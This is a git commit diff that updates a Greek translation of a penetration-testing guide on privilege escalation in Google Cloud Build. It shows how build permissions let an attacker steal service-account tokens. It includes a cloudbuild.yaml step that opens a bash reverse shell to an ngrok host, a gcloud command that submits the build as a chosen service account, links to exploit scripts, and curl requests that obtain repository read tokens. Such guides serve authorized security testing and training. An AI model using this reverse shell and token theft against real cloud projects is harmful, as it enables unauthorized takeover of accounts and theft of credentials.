Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:47:12 +00:00
parent 5c3e81ce12
commit 4d4264f2d9
@@ -12,22 +12,34 @@
### `cloudbuild.builds.create`, `iam.serviceAccounts.actAs`
Με αυτή την άδεια μπορείτε να **υποβάλετε μια κατασκευή cloud**. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της από **προεπιλογή ένα διακριτικό του Service Account του cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Ωστόσο, μπορείτε να **υποδείξετε οποιοδήποτε service account μέσα στο έργο** στη διαμόρφωση του cloudbuild.\
Επομένως, μπορείτε απλά να κάνετε τη μηχανή να εξάγει το διακριτικό στον διακομιστή σας ή **να αποκτήσετε μια αντίστροφη σύνδεση μέσα σε αυτήν και να αποκτήσετε το διακριτικό** (το αρχείο που περιέχει το διακριτικό μπορεί να αλλάξει).
Με αυτή την άδεια μπορείτε να **υποβάλετε μια κατασκευή cloud**. Η μηχανή cloudbuild θα έχει στο σύστημα αρχείων της **κατά προεπιλογή ένα διακριτικό του Service Account του cloudbuild**: `<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com`. Ωστόσο, μπορείτε να **υποδείξετε οποιοδήποτε service account μέσα στο έργο** στη διαμόρφωση του cloudbuild.\
Επομένως, μπορείτε απλά να κάνετε τη μηχανή να εξάγει το διακριτικό στον διακομιστή σας ή **να αποκτήσετε μια αντίστροφη θήκη μέσα σε αυτήν και να αποκτήσετε το διακριτικό** (το αρχείο που περιέχει το διακριτικό μπορεί να αλλάξει).
Μπορείτε να βρείτε το αρχικό σενάριο εκμετάλλευσης [**εδώ στο GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (αλλά η τοποθεσία από την οποία παίρνει το διακριτικό δεν λειτούργησε για μένα). Επομένως, ελέγξτε ένα σενάριο για να αυτοματοποιήσετε τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) και ένα σενάριο python για να αποκτήσετε μια αντίστροφη σύνδεση μέσα στη μηχανή cloudbuild και [**να το κλέψετε εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (στον κώδικα μπορείτε να βρείτε πώς να υποδείξετε άλλα service accounts)**.**
#### Άμεση εκμετάλλευση μέσω gcloud CLI
1- Δημιουργήστε το `cloudbuild.yaml` και τροποποιήστε το με τα δεδομένα του listener σας.
```yaml
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1
options:
logging: CLOUD_LOGGING_ONLY
```
2- Ανεβάστε μια απλή κατασκευή χωρίς πηγή, το αρχείο yaml και καθορίστε το SA που θα χρησιμοποιηθεί στην κατασκευή:
```bash
gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/<PROJECT>/serviceAccounts/<SERVICE_ACCOUNT_ID>@<PROJECT_ID>.iam.gserviceaccount.com
```
#### Χρησιμοποιώντας τη βιβλιοθήκη python gcloud
Μπορείτε να βρείτε το αρχικό σενάριο εκμετάλλευσης [**εδώ στο GitHub**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py) (αλλά η τοποθεσία από την οποία παίρνει το token δεν λειτούργησε για μένα). Επομένως, ελέγξτε ένα σενάριο για να αυτοματοποιήσετε τη [**δημιουργία, εκμετάλλευση και καθαρισμό ενός ευάλωτου περιβάλλοντος εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.sh) και ένα σενάριο python για να αποκτήσετε ένα reverse shell μέσα στη μηχανή cloudbuild και [**να το κλέψετε εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/f-cloudbuild.builds.create.py) (στον κώδικα μπορείτε να βρείτε πώς να καθορίσετε άλλους λογαριασμούς υπηρεσίας)**.**
Για μια πιο λεπτομερή εξήγηση, επισκεφθείτε [https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/](https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/)
### `cloudbuild.builds.update`
**Πιθανώς** με αυτή την άδεια θα μπορείτε να **ενημερώσετε μια κατασκευή cloud και απλά να κλέψετε το διακριτικό του service account** όπως έγινε με την προηγούμενη άδεια (αλλά δυστυχώς κατά τη στιγμή της συγγραφής αυτού του κειμένου δεν μπόρεσα να βρω κανέναν τρόπο να καλέσω αυτή την API).
TODO
### `cloudbuild.repositories.accessReadToken`
Με αυτή την άδεια, ο χρήστης μπορεί να αποκτήσει το **διακριτικό πρόσβασης ανάγνωσης** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
Με αυτή την άδεια, ο χρήστης μπορεί να αποκτήσει το **token πρόσβασης ανάγνωσης** που χρησιμοποιείται για την πρόσβαση στο αποθετήριο:
```bash
curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
@@ -47,7 +59,7 @@ curl -X POST \
```
### `cloudbuild.connections.fetchLinkableRepositories`
Με αυτή την άδεια μπορείτε να **λάβετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:**
Με αυτή την άδεια μπορείτε να **πάρετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:**
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \